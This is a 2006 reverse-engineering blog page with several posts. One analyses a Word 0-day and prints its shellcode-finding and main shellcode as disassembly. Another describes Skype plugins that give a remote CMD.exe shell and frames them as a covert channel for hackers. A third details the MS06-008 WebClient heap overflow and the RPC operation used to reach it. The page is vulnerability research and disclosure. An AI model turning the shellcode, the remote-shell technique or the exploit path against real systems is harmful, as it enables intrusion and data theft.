OpenRCE: Blog

OpenRCE in TcpIp.sys

Wed, 14 Jun 2006 02:07:59 -0500

I was unaware of that, but diffing this morning the TcpIp.sys patch for XP SP2, I noticed that one of the functions changed reminded me of something ... Well some people might have already know that, but I didn't :)

(In fact it's due to a disassembling mess up)

For those of you attending RECON, we (Fabrice & I) will be arriving Thurday afternoon, and are up for some beers !

On top of some Skype stuff, we will probably try to do a lightning talk about Powerpoint.

Word 0Day

Tue, 23 May 2006 09:35:01 -0500

I think we received the 0Day at EADS on May 14th for the 1st time. I've had a look at it then, after a few tries it finally managed to compromise my Office XP SP3 French up2date on a Windows XP SP1 French up2date, but thought it was way too unstable to cause wide troubles. I found the code quite ingenious, even if not very clean. There are 2 shellcode finding shellcodes and a main one. The document embeds a xored binary that is quite fun to analyze, but too long to fit in here :)

It's weird they choose to write in C:\ rather that a non-Administrator writable directory ... whatever, here is the shellcode finding shellcode :

seg000:00000520                   FindShellcode_1:

seg000:00000520 33 DB                             xor     ebx, ebx

seg000:00000522 81 C6 00 00 02 00                 add     esi, 20000h

seg000:00000528

seg000:00000528                   loc_528:                                ; CODE XREF: seg000:00000530j

seg000:00000528                                                           ; seg000:00000536j

seg000:00000528 46                                inc     esi

seg000:00000529 8B 06                             mov     eax, [esi]

seg000:0000052B 3D 90 90 64 A1                    cmp     eax, 0A1649090h

seg000:00000530 75 F6                             jnz     short loc_528

seg000:00000532 43                                inc     ebx

seg000:00000533 83 FB 03                          cmp     ebx, 3

seg000:00000536 75 F0                             jnz     short loc_528

seg000:00000538 FF E6                             jmp     esi

Here is the main shellcode :

[code]seg000:00000B2E                   Shellcode:
seg000:00000B2E 90                                nop
seg000:00000B2F 90                                nop
seg000:00000B30
seg000:00000B30                   GetKernel32BaseAddress:
seg000:00000B30 64 A1 30 00 00 00                 mov     eax, dword ptr fs:unk_30
seg000:00000B36 8B 40 0C                          mov     eax, [eax+0Ch]
seg000:00000B39 8B 70 1C                          mov     esi, [eax+1Ch]
seg000:00000B3C AD                                lodsd
seg000:00000B3D 8B 70 08                          mov     esi, [eax+8]
seg000:00000B40 E9 6A 02 00 00                    jmp     GetEIP
seg000:00000B45
seg000:00000B45                   ;

Skype fun

Mon, 24 Apr 2006 04:24:49 -0500

As some of you might probably have noticed, there are thousands of fun things to do with Skype for a reverse engineer.
But there are some that are just about reading the (f*****g) manual.

If you don't already know, Skype has a pretty wide API available to developpers, documented here. One of the nicest thing is the "Application to application commands", which allow applications to communicate with one another through Skype. In my opinion it's basically a good idea and provides a lots of cool features : ability to benefit of Skype NAT and firewall trasversal capabilities, strong encryption layer not many people can decrypt, initiating a communication with a user and not an IP, and so on. Those things are rather cool, particularly for a person who whishes to initiate a communication with the outside world, quite anonymously, not knowing much about what is going on in an internal network, let's say, simple supposition, a hacker.

As a an exemple, I have implemented two sample plugins allowing to spawn a connect back CMD.exe. The principle is quite simple : the master plugin, once registered to a running Skype, will wait for connections, while the slave plugin, once registered to a running Skype, will spawn a CMD.exe and redirects its input and output to the master plugin by specifying the Skype username to connect to. You don't have to care much about anything that is going on : Skype will find his way out, encrypt the data, and give you full control over the slave machine. It's not a vulnerability, it's a feature. The code is defintiely not the cleanest and smartest ever, but this was an early PoC, more things have been done since.

Some people might think "Man, there is a popup to allow the plugin to run, it's useless". Well yes, but I would like to raise the following point : what if it was really easy to "sign" your own plugin and add the signature to the Skype configuration file so that Skype won't say a word ? Well this question will probably be answered at RECON 2006, along with other cool things about Skype.

The master plugin is available here.
The slave plugin is available here.

To conclude, exfiltration is a real problem with Skype.

MS06-008

Thu, 23 Mar 2006 03:41:55 -0600

Greetings people,

Here are some details about the flaw in WebClient service I reported to Microsoft some months ago and that got patched with MS06-008.

In the function DavOpenCreateConnection in webclnt.dll, one can notice the following piece of code :



.text:5A9F38E6                 push    [ebp+Password]  ; wchar_t *

.text:5A9F38E9                 call    esi ; __imp__wcslen

.text:5A9F38EB                 shl     eax, 1

.text:5A9F38ED                 mov     [ebp+var_8], eax

.text:5A9F38F0                 movzx   eax, ax

.text:5A9F38F3                 add     eax, 15h

.text:5A9F38F6                 and     eax, 0FFFFFFFCh

.text:5A9F38F9                 pop     ecx

.text:5A9F38FA                 mov     [ebp+uBytes], eax

.text:5A9F38FD

.text:5A9F38FD loc_5A9F38FD:   ; CODE XREF: DavOpenCreateConnection(x,x,x,x,x,x,x,x,x,x)+3B

.text:5A9F38FD                 cmp     [ebp+UserName], edi

.text:5A9F3900                 jz      short loc_5A9F3919

.text:5A9F3902                 push    [ebp+UserName]  ; wchar_t *

.text:5A9F3905                 call    esi ; __imp__wcslen

.text:5A9F3907                 shl     eax, 1

.text:5A9F3909                 mov     [ebp+var_C], eax

.text:5A9F390C                 movzx   eax, ax

.text:5A9F390F                 add     eax, 15h

.text:5A9F3912                 and     eax, 0FFFFFFFCh

.text:5A9F3915                 add     [ebp+uBytes], eax

.text:5A9F3918                 pop     ecx

.text:5A9F3919

.text:5A9F3919 loc_5A9F3919:   ; CODE XREF: DavOpenCreateConnection(x,x,x,x,x,x,x,x,x,x)+57

.text:5A9F3919                 add     [ebp+uBytes], 24h

.text:5A9F391D                 push    [ebp+uBytes]    ; uBytes

.text:5A9F3920                 push    ebx             ; uFlags

.text:5A9F3921                 call    ds:__imp__LocalAlloc@8 ; LocalAlloc(x,x)

The allocated buffer is then used to store both UserName and Password thanks to wcscpy(). A noticeable error here lies within the movzx eax, ax instructions that will only keep the lower 16 bits of (wcslen(Password) * 2), which means that if wcsclen(Password) = 32768, eax will be null, the allocated buffer will then be too small for the widestring copy operation, and a heap overflow will occur. Usually, you will get a page fault this way, so you will have to grow heap first to do a "real" overflow. Of course, before MS06-008, no length check was done on Password or UserName in this function, or its callers.

The funny thing is that this flaw is also present in some other functions :
- NwOpenCreateConnection in Client Service for Netware, previously reported, and corrected in MS05-046 ;
- WsOpenCreateConnection in Workstation Service, but unfortunately length checks have been in there for a while ;

In the patch, Microsoft chose to add length checks in parent function DavrCreateConnection, rather than in the function itself, which doesn't seem a really good idea because if a new path to the vulnerable code is added some day, the same issue will probably be raised again.

This flaw can be exploited thanks to operation number 0 of RPC interface c8cb7687-e6d3-11d2-a958-00c04f682e16, described here, through the named pipe "DAV RPC SERVICE" which requires authentication.

Kostya